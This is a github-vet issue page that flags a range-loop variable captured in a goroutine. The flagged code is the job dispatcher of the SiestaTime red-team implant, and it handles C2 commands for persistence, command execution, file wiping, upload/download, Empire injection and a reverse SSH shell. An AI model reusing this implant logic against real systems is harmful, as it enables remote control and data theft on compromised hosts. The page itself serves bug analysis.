github-vet / github-vet/rangeloop-pointer-findings
rebujacker/SiestaTime: src/bichito/biJobs.go; 228 LoC
- Dominant language
- No language data
- Stars
- 0
- Forks
- 0
- PR merge metrics
- PR metrics pending
Description
Found a possible issue in [rebujacker/SiestaTime](https://www.github.com/rebujacker/SiestaTime) at [src/bichito/biJobs.go](https://github.com/rebujacker/SiestaTime/blob/a2c99b97711969ab3900537e78649654e96167bd/src/bichito/biJobs.go#L44-L271)
Below is the message reported by the analyzer for this snippet of code. Beware that the analyzer only reports the first issue it finds, so please do not limit your consideration to the contents of the below message.
> range-loop variable job used in defer or goroutine at line 56
[Click here to see the code in its original context.](https://github.com/rebujacker/SiestaTime/blob/a2c99b97711969ab3900537e78649654e96167bd/src/bichito/biJobs.go#L44-L271)
Click here to show the 228 line(s) of Go which triggered the analyzer.
```go
for _,job := range jobsToProcess.Jobs{
//Debug:
fmt.Println(job.Job)
//Stop buffering pings once we know we are in Hive DB (to reduce overhead)
if job.Job == "received"{
received = true
break
}
go func() {
switch job.Job{
// Implant Lifecycle
case "respTime":
i, err := strconv.Atoi(job.Parameters)
if err != nil{
result = "Error Converting resptime string to int:"+ err.Error()
}
resptime = i
ttl = ttl + resptime
result = "RespTime changed to "+job.Parameters+" seconds"
contChannel <- "continue"
case "ttl":
i, err := strconv.Atoi(job.Parameters)
if err != nil{
result = "Error Converting ttl string to int:"+ err.Error()
}
ttl = i
result = "TTL changed to "+job.Parameters+" seconds"
contChannel <- "continue"
case "persistence":
if !persisted {
blob := job.Result
error,result = persistence.AddPersistence(biconfig.Persistence,blob)
if error{
result = "Error Executing Persistence:"+ result
}else{
result = "Bichito Already persisted in target bot"+ result
}
//Independently of the result, set persisted to true to avoid endless persistence loop
persisted = true
}
contChannel <- "continue"
case "removeInfection":
err,res := RemoveInfection()
if err{
result = "Error Removing Persistence:"+res
}else{
result = "Persistence Removed:"+res
}
contChannel <- "continue"
case "kill":
os.Exit(1)
contChannel <- "continue"
// Implant Basic Capabilities
case "sysinfo":
error,result = biterpreter.Sysinfo()
if error{
result = "Error Getting System Info:"+result
}
contChannel <- "continue"
case "exec":
error,result = biterpreter.Exec(job.Parameters)
if error{
result = "Error Executing Command:"+ result
}
contChannel <- "continue"
case "ls":
error,result = biterpreter.List(job.Parameters)
if error{
result = "Error Executing Command:"+ result
}
contChannel <- "continue"
case "accesschk":
arguments := strings.Split(job.Parameters," ")
if len(arguments) != 1 {
result = "Incorrect Number of params"
}
error,result = biterpreter.Accesschk(arguments[0])
if error{
result = "Error Executing Command:"+ result
}
contChannel <- "continue"
case "read":
error,result = biterpreter.Read(job.Parameters)
if error{
result = "Error Executing Command:"+ result
}
contChannel <- "continue"
case "write":
error,result = biterpreter.Write(job.Parameters)
if error{
result = "Error Executing Command:"+ result
}
contChannel <- "continue"
case "wipe":
error,result = biterpreter.Wipe(job.Parameters)
if error{
result = "Error Executing Command:"+ result
}
contChannel <- "continue"
case "upload":
arguments := strings.Split(job.Parameters," ")
destinyPath := arguments[1]
blob := job.Result
//Debug:
//fmt.Println(len(blob))
error,result = biterpreter.Upload(destinyPath,blob)
if error{
result = "Error Executing Command:"+ result
}
contChannel <- "continue"
case "download":
arguments := strings.Split(job.Parameters," ")
destinyPath := arguments[0]
error,result = biterpreter.Download(destinyPath)
if error{
result = "Error Executing Command:"+ result
}
contChannel <- "continue"
//Staging/POST Actions - Userland
case "injectEmpire":
error,result = biterpreter.InjectEmpire(job.Parameters)
if error{
result = "Error Injecting Empire:"+ result
}
contChannel <- "continue"
case "injectRevSshShell":
error,result = biterpreter.RevSshShell(job.Parameters)
if error{
result = "Error Injecting Reverse SSH Shell:"+ result
}
contChannel <- "continue"
//Elevate
//SYSTEM Actions
//Inject other user process, root persistence,...
default:
result = "Void No Job Inplemented"
contChannel <- "continue"
}
}()
select{
case <- contChannel:
timeR = time.Now().Format("02/01/2006 15:04:05 MST")
//Check that the size of the Result doesn't exceed 20 MB
bytesResult := len(result)
if (bytesResult >= 20000000){
job.Result = "Too Big payload, use staging channel for these sizes"
job.Status = "Error"
}else{
job.Result = result
job.Status = "Success"
}
job.Time = timeR
jobsToHive.mux.Lock()
jobsToHive.Jobs = append(jobsToHive.Jobs,job)
jobsToHive.mux.Unlock()
case <- biJobTimeout.C:
timeR = time.Now().Format("02/01/2006 15:04:05 MST")
job.Result = "Job Timeout"
job.Status = "Error"
job.Time = timeR
jobsToHive.mux.Lock()
jobsToHive.Jobs = append(jobsToHive.Jobs,job)
jobsToHive.mux.Unlock()
biJobTimeout.Reset(time.Duration(10) * time.Second)
}
}
```
Leave a reaction on this issue to contribute to the project by classifying this instance as a **Bug** :-1:, **Mitigated** :+1:, or **Desirable Behavior** :rocket:
See the descriptions of the classifications [here](https://github.com/github-vet/rangeclosure-findings#how-can-i-help) for more information.
commit ID: a2c99b97711969ab3900537e78649654e96167bd
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.